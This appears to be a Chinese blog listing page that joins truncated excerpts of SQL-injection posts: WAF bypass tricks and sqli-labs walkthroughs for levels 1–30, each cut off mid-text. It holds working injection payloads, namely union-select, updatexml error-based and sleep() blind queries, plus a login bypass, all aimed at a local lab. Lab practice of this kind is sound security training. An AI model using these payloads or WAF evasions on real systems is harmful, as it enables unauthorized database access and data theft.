一、SQL注入绕过介绍SQL注入绕过技术已经是一个老生常淡的内容了,防注入可以使用某些云waf加速乐等安全产品,这些产品会自带waf属性拦截和抵御SQL注入,也有一些产品会在服务器里安装软件,例如iis安全狗、d盾、还有就是在程序理论对输入参数进行过滤和拦截,例如360webscan脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL注入绕过的技术也有很多,但是在日渐成熟的waf产品面前,因为waf产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就会越来越高。二、常见的注入绕过方法1、空格字符绕过两个空格代替一个空格,用Tab代替空格,%a0=空格。==使用URL编码的方式必须要在有中间件的网站上使用,直接使用sql语句进行查询是没办法解析的。==可以将空格字符替换成注释/*/,也可以使用内联注释,/!code*/(关于内联注释请观看mysql文章)。2、大小写绕过将字符串设置为大小写,例如and1=1转成AND1=1或者AnD 1=1;==mysql默认是不区分大小写的。==3、浮点数绕过注入可以在查询语句where条件这里
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡26-30。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less261、判断注入这一关将很多东西都过滤掉了,所以可以使用url编码也可以使用报错注入。2、获取数据库信息http://sql/Less-26/?id=1'anandd(updataxml(1,concat(0x5e,database(),0x5e),1))anandd'3、获取表信息http://sql/Less-26/?id=0'||updatexml(1,concat(0x5e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=data
一、SQL注入介绍1、SQL注入简介SQL注入是指web应用程序对用户输入数据的合法性来进行判断、处理,前端传入的参数是攻击者可控的,并且参数被正常的带入到数据库查询,攻击者可以通过构造不同的SQL语句来进行对数据库的操作,正常情况下,攻击者可以对数据库进行高危操作,例如,数据查询、WebShell写入、命令执行等操作。==注意:SQL注入需要有SQL语言的基础,SQL语言基础后续会发布文章,实际操作会发布在sql-lib文章中。==2、SQL注入原理SQL注入漏洞的产生需要满足以下两个条件:参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的。参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中,并且带入到数据库进行查询。3、注入判断当传入的参数为1'时,数据库会执行以下代码并会报错,这是因为不符合数据库语法规范的。当传入的参数为and1=1时,不会报错,因为1=1为真,所以返回的页面是正常的,当传入参数为and1=2时,因为条件为假,所以会返回一个不同的结果。==注意:回显是指页面有数据,信息返回,无回显是指根据输入的语句页面没有任何变化,或者没有数据库中的内
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡21-25。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less211、判断注入这一关也是cookie注入,但是需要将语句进行base64编码。2、获取数据库信息3、获取用户名密码三、less221、判断注入闭合变成了双引号,其余和上一关一样。2、直接爆破用户名和密码四、less231、判断注入这一关过滤了注释符号,不看php文件会感觉无从下手,查看源代码发现吧# --+注释符号给过滤掉了,这里使用'。2、获取数据库信息输入http://sql/Less-23/?id=' union select 1,13,database() ' 3、获取表信息输入http://sql/Less-23/?id=' union selec
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡16-20。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less161、判断注入输入了admin'、admin"以及加上各种括号都不显示,可能是延迟注入,和15关一样,不一样的是这里为双引号盲注。2、获取数据库信息输入admin'' and if(substr((select database()),1,1)='s',sleep(5),1)#==也可以用ascii判断==3、获取表信息输入admin'' and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#三、less171、判断
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡11-15。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less-111、注入判断post注入,先在username输入admin',密码随便输,返回错误信息,从错误信息可以找到username有注入点,而且应该是字符注入类型。burp抓到的包是这样的。在burp中万能语句,admin' or 1=1 发现正常登录了。记得在F12hackbar中将post开启。2、确定列数使用order by。如果是admin' or order by 3# 会报错,如果是2,则正常显示,所以列数有两列。3、获取数据库名输入1(这里随便给个值,目的是让其查不到) admin' union select 1,database()#可以显示出
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡6-10。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less-61、判断注入类型首先输入?id=1,发现显示You are in....,如果输入?id=1',正常,如果输入?id=1'',则会报错,所以我们先将''注释掉。 2、判断回显点和字段数剩下的和第五关一样了,只是单引号变成了双引号。http://sql/Less-6/?id=1" order by 3--+3、获取数据库信息(1)获取库名长度http://sql/Less-6/?id=1" and length(database())=8--+(2)获取库名http://sql/Less-6/?id=1" and ascii(substr(database()
一、实操环境1、操作系统VMware虚拟机创建的win10系统内存8GB硬盘255GB处理器AMD Ryzen 9 5900HX2、操作项目==sql-lib项目,本篇文章介绍关卡1-5。==3、工具版本phpstudy 8.1.1.3php版本 5.4.45ntsApache2.4.39MySQL5.7.26Chrome4、SQL注入目的判断是否允许注入判断注入点类型判断回显点获取数据库信息获取表信息获取字段信息二、less-1## 1. 判断注入类型首先输入?id=1。 输入?id=1'输入?id=1' --+,语句正常,输入?id=1 and 1=1以及?id=1 and 1=2都正常,说明是==单引号字符型注入==。判断字段数。输入?id=1' order by 3--+,正常显示,输入?id=1' order by 4--+,报错,所以有三列数据。 获取回显点输入?id=796(==这里是不存在的id==)' union select 1,2,3 --+ ,这里正常显示,所以有三列数据,有两个显示位。 获取数据库信息(1)获取数据库名长度 输入id=1
易水哲
一个什么都会一点的白帽子